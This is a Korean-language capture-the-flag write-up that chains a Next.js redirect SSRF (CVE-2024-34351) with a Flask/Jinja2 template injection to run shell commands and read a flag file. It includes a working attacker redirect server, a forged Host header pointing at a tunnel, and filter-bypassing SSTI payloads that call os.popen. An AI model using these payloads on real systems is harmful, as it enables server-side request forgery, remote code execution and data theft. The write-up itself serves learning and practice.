어떤 directory의 파일들의 hash값이 blacklist에 있는지 확인하고 해당 디렉토리의 파일 목록을 JSON 형태로 제공.
/login (GET)
로그인 성공시 session\["loggedin"] = True로 설정하고 /home으로 리다이렉트.
/register (GET)
GET parameter를 통해 제공되는 username이 새로운 username이어서 회원가입에 성공하면 user가 입력한 username, password, 서버에서 생성한 token 저장 + token이 들어있는 응답 제공.
/logout (GET)
session에 저장된 session\["loggedin"] = False로 지정하고 /login으로 리다이렉트.
/home (GET, POST) <- auth_middleware()
GET parameter의 directory값을 가져옴.
directory에 invalid_chars가 포함되어 있는지 확인하고 문제가 없다면 해당 디렉토리의 파일 리스트(scan_directory)를 scan.html에 렌더링.
session\["loggedin"] == True인지 확인.token을 들고 있는 user가 DB에 존재하는지 확인.
게시글을 보여주는 게시판 App.
게시글은 존재하지만 게시글을 클릭하면 error 페이지가 나온다.
Frontend(Next.js)와 Backend(Flask)로 나누어져 있지만 Frontend를 통해 Backend에 접근할 수 없다.
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
docker가 생성되면 실행되는 entrypoint.sh를 확인해보면 flag를 담고 있는 flag.txt의 이름이 flag[임의의 문자열].txt로 저장된다. Backend(Flask)에 서버의 디렉토리 list를 조회하는 scan_directory() 함수가 존재하는 것으로 미루어보아 이 함수를 통해 flag 파일의 이름을 확인해야 할 것 같다. 하지만 일반적인 방법으로는 frontend에서 backend로 접근할 방법이 없다.
Frontend를 구성하고 있는 Next.js 14.1.0가 CVE가 존재하는 버전임을 확인하였다. CVE-2024-34351은 Next.js ServerAction의 redirect() 함수에 존재하는 취약점으로 redirect() 함수 안에 온전한 형태의 URL이 아니라 host가 존재하지 않는 불완전한 URL일 경우 redirect() 함수에서 URL을 완성하기 위해 HTTP Request Header의 Host 필드 값을 가져와 URL을 생성하고 해당 URL에 접속하는 SSRF 취약점이다.
redirect() 함수에서 SSRF 취약점이 작동하는 매커니즘은 다음과 같다.
Host 필드 값과 Origin 필드 값 혹은 X-Forwarded-Host 필드가 존재할 시 X-Forwarded-Host 필드 값과 Origin 필드 값 비교. 같지 않을 경우 에러 발생.Host 필드 값 + redirect의 인자 주소로 HTTP HEAD 요청 전송, 응답의 content-type이 x-component인지 확인.Host 필드 값 + redirect의 인자 주소로 SSRF GET 요청 전송.https://github.com/azu/nextjs-CVE-2024-34351
(CVE-2024-34351의 PoC)
위의 메커니즘으로 동작하는 취약점을 활용하기 위해 해당 취약점의 PoC를 확인해보면 별도의 외부 서버를 두는 것을 확인할 수 있다. 외부 서버는 HTTP HEAD 요청에 대해서는 content-type: x-component인 응답을 보내고 GET 요청에 대해서는 서버가 SSRF 요청을 보내길 바라는 주소로 redirect 시켜주는 HTTP 302 Redirect 응답을 전송하는 것을 확인할 수 있다.
// attacker_server.ts
// Attacker server to test SSRF vulnerability in the target server
// https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
Deno.serve((request: Request) => {
console.log("Request received: " + JSON.stringify({
url: request.url,
method: request.method,
headers: Array.from(request.headers.entries()),
}));
// Head - 'Content-Type', 'text/x-component');
if (request.method === 'HEAD') {
return new Response(null, {
headers: {
'Content-Type': 'text/x-component',
},
});
}
// Get - redirect to example.com
if (request.method === 'GET') {
...
return new Response(null, {
status: 302,
headers: {
Location: url,
},
});
}
});
PoC 코드를 그대로 활용하여 개인 노트북에 deno server를 구축하였다.

문제는 외부에 존재하는 wargame server에서 내 노트북에 구축한 deno server에 접속할 수 있어야 한다는 것이다. 나는 학교에서 이 wargame 문제를 풀었는데 학교 특성상 포트포워딩 설정을 할 수도 없을 뿐만 아니라 우리 학교는 기본적으로 학교 외부에서 내부로 들어오는 요청을 막아놓기 때문에 wargame server가 학교망에 연결된 내 노트북에 접근하기란 쉽지 않아 보였다.
하지만 터널링 서비스를 제공하는 serveo를 사용하면 학교망 외부에서 학교망 안의 내 노트북으로 접근할 수 있다는 것을 알게 되었다.
(터널링 post 링크 차후 추가)

CVE-2024-34351와 attacker_server.ts를 활용하여 SSRF 취약점을 발생시킬 수 있는 환경 세팅까지 완료하였다. 이제 실제로 SSRF를 발생시켜보자.
Burp Suite를 통해 ServerAction의 redirect() 함수가 실행될 때 발생하는 HTTP Request 캡쳐하였다. CVE-2024-34351 발동 메커니즘을 고려하여 HTTP Request Header의 Origin 필드 값과 같은 필드 값을 갖는 X-Forwarded-Host 필드를 추가하고 실제 redirect 주소와 합쳐져 SSRF의 목적지가 되는 Host 필드값을 serveo가 제공한 내 노트북의 attacker_server.ts 서버 주소로 변경하자.
POST / HTTP/1.1
Host: {random_value}.serveousercontent.com
X-Forwarded-Host: {HTB_wargame_address}:30099
...
Origin: http://{HTB_wargame_address}
Referer: http://{HTB_wargame_address}/
...
이후 조작된 HTTP Request를 보내면 실제로 SSRF가 동작함을 확인할 수 있다.
scan_directory()가 동작하는 /home 엔드포인트에 접근하기 위해서는 auth_middleware를 통과해야 하고 auth_middleware를 통과하기 위해서는 cookie를 통해 session을 유지하거나 GET parameter로 token을 제공해야 한다. 그런데 Next.js의 redirect에서 사용하는 fetch라이브러리는 cookie를 저장하지 않기 때문에 session을 이용한 인증은 불가능하다. 따라서 token을 이용해 auth_middleware 인증을 통과하기 위해 SSRF를 통해 회원가입 성공시 token을 제공하는 Flask의 /register endpoint에 Next.js가 접근하도록 한다.
// attacker_server.ts
...
if (request.method === 'GET') {
const register_url = "http://127.0.0.1:3000/register?username=test1&password=test"
return new Response(null, {
status: 302,
headers: {
Location: register_url,
},
});
}

회원가입에 성공하여 token을 성공적으로 가져왔다.
다음으로 이 token을 이용하여 /home에 접근하도록 하자.
// attacker_server.ts
...
if (request.method === 'GET') {
const url = "http://127.0.0.1:3000/home?token=496575fc290aabcfda8cda7b006e77fd";
return new Response(null, {
status: 302,
headers: {
Location: url,
},
});
}

성공적으로 token을 이용하여 /home에 접근하였다.
/flag.txt의 이름이 /flag[임의의 문자열].txt로 저장되기 때문에 먼저 / 디렉토리의 파일 목록을 읽어와야 한다. scan_directory() 함수를 사용해서 유저가 GET parameter로 제공한 directory의 파일 목록을 조회하는 /home 엔드포인트의 기능을 사용하면 될 것 같다.
# scanner.py
def scan_directory(directory):
scan_results = []
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
하지만 scan_directory()에서 os.walk를 사용하기 때문에 / 디렉토리에 대한 조회를 시작하면 / 디렉토리의 바로 하위 파일 목록 뿐만 아니라 파일 시스템 전체에 대한 파일 목록 조회를 수행한다. 파일 시스템 전체 파일 목록 조회를 수행하기에는 파일과 디렉토리가 워낙 많아 서버의 메모리 등 리소스가 감당하지 못하기 때문에 실제로 서버가 다운되어버리는 문제가 발생한다. 따라서 다른 방법으로 / 디렉토리의 하위 파일 목록을 조회해야 한다.
# routes.py
@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
...
# directory의 scan 결과를 scan.html에 렌더링
try:
with open("./application/templates/scan.html", "r") as file:
template_content = file.read()
results = scan_directory(directory)
template_content = template_content.replace("{{ results.date }}", results["date"])
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results)
...
/home 엔드포인트 코드를 살펴보면 /home 엔드포인트에 SSTI 취약점이 존재하는 것을 확인할 수 있다. /home 접근시 서버가 제공하는 scan.html 템플릿 파일에 유저가 GET parameter로 제공하는 directory 값인 results["scanned_directory"]가 replace() 메소드를 통해 직접적으로 주입되고, 유저의 입력값이 들어간 템플릿 파일이 render_template_string() 함수를 통해 랜더링되는 것을 확인할 수 있다.
Flask에서 사용하는 jinja2 렌더링 템플릿에서는 lipsum이라는 파이썬 모듈을 사용한다. 그리고 lipsum에는 쉘 명령어를 실행시킬 수 있는 os 모듈이 존재한다. 따라서 __globals__를 활용하여 lipsum으로부터 os 모듈에 접근하고 os 모듈의 popen() 메소드를 활용하여 RCE를 실행시키는 것이다.
SSTI를 통해 / 디렉토리의 파일 목록을 조회하는 RCE를 획득하더라도 그 결과를 화면에 띄우는 것은 별개의 작업이다.
<!-- scan.html -->
<tbody>
{% for result in results.report %}
<tr>
<td>{{ result.split(': ')[1].split(" ")[0] }}</td>
<td class="{{ 'malicious' if 'Malicious' in result else 'safe' }}">{{ result }}</td>
</tr>
{% endfor %}
</tbody>
/home 엔드포인트에 접속했을 때 렌더링되는 scan.html에서는 results["report"]를 출력하므로 / 디렉토리의 파일 목록을 조회하는 RCE의 결과를 results["report"]에 추가하면 된다.
RCE를 실행시키고 결과를 노출시키기 위해서 렌더링 코드에서 실행시켜야 하는 코드를 파이썬으로 표현하면 다음과 같다.
result["report"].append("Malicious: " + lipsum.__globals__["os"].popen("ls /").read())
이제 해야 할 일은 이 파이썬 코드를 렌더링 엔진에서 실행될 수 있는 문법으로 만드는 것이다.
# routes.py
@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
...
# directory에 invalid_chars가 포함되어 있는지 확인
if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400
# invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]
/home 엔드포인트 코드를 살펴보면 GET parameter로 제공되는 directory 값에 대해 invalid_cahrs에 정의된 문자를 포함하고 있는지 확인한다는 것을 알 수 있다. invalid_chars의 문자를 사용하지 않으면서 RCE를 실행시키고 그 결과를 노출시키는 코드를 짜기 위해 . 대신 |attr, ["..."] 대신 |attr('get')('...')를 사용해서 invalid_chars 필터링을 우회한다.
__globals__에 존재하는 _ 필터링의 경우 대체할 수 있는 키워드가 없으므로 invalid_chars 필터링을 우회하기 위해서는 invalid_chars 필터링이 directory GET parameter에 대해서만 실행된다는 점을 이용해야 한다. 필터링이 directory에 대해서만 실행됨으로 다른 GET parameter에 __globals__ 값을 주고 payload를 만들 때 해당 GET parameter를 사용해야 한다.
또한, payload가 URL에 들어가는 값이므로 encodeURIComponent() 함수를 사용하여 URL 포맷에 맞도록 인코딩한다.
SSRF를 통해 실제 Flask Backend에 어떤 HTTP GET 요청을 보낼지 결정하는 것은 attacker_server.ts이므로 attacker_server.ts를 수정하여 SSTI 취약점을 통해 / 디렉토리 파일 목록을 노출시키도록 한다.
# template payload 원본
{% set g=request|attr('args')|attr('get')('gl') %}
{% results|attr('get')('report')|attr('append')('Malicious: ' + (lipsum|attr(g)|attr('get')('os')|attr('popen')('ls /')|attr('read')())) %}
// attacker_server.ts
// Get - redirect to example.com
if (request.method === 'GET') {
const url = "http://127.0.0.1:3000/home?token=4d0a23158f16e9b605c527315349a831";
const payload_directory = "&directory=" + encodeURIComponent("{% set g=request|attr('args')|attr('get')('gl') %} {% set temp = results|attr('get')('report')|attr('append')('Malicious: ' + (lipsum|attr(g)|attr('get')('os')|attr('popen')('ls /')|attr('read')())) %}")
const payload_g = "&gl=__globals__"
return new Response(null, {
status: 302,
headers: {
//Location: url,
Location: url + payload_directory + payload_g,
},
});
}

flag 파일의 이름을 성공적으로 확인할 수 있다.
마지막으로 flag 파일을 읽어보도록 하자. 기본적으로 payload는 같지만 / 디렉토리의 파일 목록을 읽는 ls /와 달리 flag 파일을 읽는 cat flag[임의의 문자열].txt는 invalid_chars중 하나인 .이 들어있으므로 __globals__를 directory가 아닌 다른 GET parameter를 통해 전달했던 것처럼 cat flag[임의의 문자열].txt도 다른 GET parameter를 통해 전달해야 한다.
# template payload 원본
{% set g=request|attr('args')|attr('get')('gl') %}
{% set cmd=request|attr('args')|attr('get')('cmd') %}
{% results|attr('get')('report')|attr('append')('Malicious: ' + (lipsum|attr(g)|attr('get')('os')|attr('popen')(cmd)|attr('read')())) %}
// attacker_server.ts
// Get - redirect to example.com
if (request.method === 'GET') {
const url = "http://127.0.0.1:3000/home?token=4d0a23158f16e9b605c527315349a831";
const payload_directory = "&directory=" + encodeURIComponent("{% set g=request|attr('args')|attr('get')('gl') %} {% set temp = results|attr('get')('report')|attr('append')('Malicious: ' + (lipsum|attr(g)|attr('get')('os')|attr('popen')(cmd)|attr('read')())) %}")
const payload_g = "&gl=__globals__"
const payload_cmd = "&cmd=cat+/flag4a19726ca8.txt";
return new Response(null, {
status: 302,
headers: {
//Location: url,
Location: url + payload_directory + payload_g + payload_cmd,
},
});
}

성공적으로 flag를 획득한 것을 확인할 수 있다.